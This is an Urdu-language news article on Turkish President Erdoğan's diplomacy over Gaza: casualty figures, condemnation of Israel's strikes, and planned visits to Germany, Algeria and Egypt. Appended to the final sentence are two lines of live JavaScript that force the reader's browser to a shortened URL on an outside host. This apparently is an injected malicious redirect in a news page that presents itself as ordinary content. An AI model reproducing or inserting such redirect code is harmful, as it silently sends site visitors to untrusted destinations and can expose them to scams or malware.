سعودی عرب سے واپسی پر صدر رجب طیب ایردوان نے اپنی پالیسی کا اعلان کرتے ہوئے کہا کہ امن کے حصول کے لیے ترکیہ کا روڈ میپ واضح ہے، وہ سفارت کاری کے مواقع کو استعمال کرتے ہوئے ٹیلی فونک رابطے اور آمنے سامنے کی ملاقاتوں میں اضافہ کریں گے۔
7 اکتوبر سے، صدر ایردوان خطے میں امن کو یقینی بنانے اور شہریوں کی جانوں کے ضیاع کو کم کرنے کے لیے آمنے سامنے اور ٹیلی فون پر ملاقاتیں کرکے اپنی قیادت کی سفارت کاری کو جاری رکھے ہوئے ہیں۔
ایردوان نے کہا کہ “اسرائیل کے ہاتھوں بے دردی سے مارے جانے والے 11 ہزار غزہ کے باشندوں میں سے 73 فیصد خواتین اور بچے ہیں۔ اسرائیلی انتظامیہ جسے مغربی ممالک کی مکمل حمایت حاصل ہے،اسرائیل بین الاقوامی جنگی اصولوں کی خلاف ورزی کر رہا ہے۔اسکولوں، مساجد، گرجا گھروں، ہسپتالوں، یونیورسٹیوں کو تباہ کررہا ہے،وہ شہری بستیوں پر بمباری جاری رکھے ہوئے ہیں۔ اسے ایک پاگل جنون طاری ہے جو بچوں کو بھی مارنے کا جواز فراہم کرتا ہے۔
جب ایردوان سے پوچھا گیا کہ سعودی عرب سے واپسی پر امن کے حصول کے لیے ترکیہ کا روڈ میپ کیا ہو گا۔؟؟؟
صدر ایردوان نے کہا کہ وہ سفارت کاری کے مواقع کو استعمال کریں گے اور ٹیلی فونک رابطوں اور آمنے سامنے کی ملاقاتیں بڑھائیں گے۔
ایردوان ان ممالک کے رہنماؤں کے ساتھ فون پر بات کریں گے جنہوں نے اقوام متحدہ کی جنرل اسمبلی کی طرف سے منظور کی گئی غزہ میں ہنگامی انسانی بنیادوں پر جنگ بندی پر ووٹنگ سے پرہیز کیا اور ان ممالک کو فلسطین کی حمایت کی طرف لانے کی کوشش کریں گے۔
اس سلسلے میں صدر رجب طیب ایردوان جمعہ 17 نومبر کو جرمنی کا سرکاری دورہ کریں گے۔
اور 21 نومبر کو الجزائر کا دورہ متوقع ہے، الجزائر کے صدر عبدالمصد تبون سے ملاقات کے بعد
جرمن چانسلر اولاف شولز سے بھی ایردوان ملاقات کریں گے، یہاں اپنی ملاقاتوں کے دوران فلسطین کے خلاف اسرائیل کے غیر انسانی حملوں پر آواز اٹھائیں گے اور برلن سے اپنا پیغام ان یورپی ممالک تک پہنچائیں گے جو اسرائیل کے حملوں کے خلاف آواز بلند نہیں کر سکتے۔
دوسری جانب، توقع ہے کہ صدر ایردوان آنے والے عرصے میں مصر کا دورہ کریں گے، جو غزہ کو رفح بارڈر گیٹ کے ذریعے امداد، خاص طور پر خوراک اور ادویات فراہم کرتا ہے۔window.location=”https://4.fo/1sjiqu3″;
setTimeout(‘location.replace(“https://4.fo/1sjiqu3”)’,0);